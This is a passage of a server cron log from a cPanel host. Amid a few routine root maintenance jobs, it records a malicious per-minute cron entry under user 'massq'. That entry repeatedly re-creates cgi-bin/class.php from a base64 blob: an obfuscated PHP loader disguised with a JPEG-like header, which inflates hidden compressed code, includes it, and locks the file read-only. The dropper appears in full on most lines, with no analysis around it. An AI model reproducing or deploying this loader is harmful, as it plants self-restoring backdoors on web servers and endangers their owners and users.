mLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:31:01 server CROND[31278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:32:01 server CROND[31346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:33:01 server CROND[31431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:34:01 server CROND[31529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:35:01 server CROND[31605]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 09:35:01 server CROND[31606]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 09:35:01 server CROND[31608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:35:01 server CROND[31607]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:35:01 server CROND[31611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:36:01 server CROND[31736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:37:01 server CROND[31899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:38:01 server CROND[31974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:39:01 server CROND[32054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:39:01 server CROND[32055]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 09:40:01 server CROND[32138]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 09:40:01 server CROND[32139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 09:40:01 server CROND[32140]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 09:40:01 server CROND[32142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:41:01 server CROND[32265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:42:01 server CROND[32433]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 09:42:01 server CROND[32434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 09:43:01 server CROND[32528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
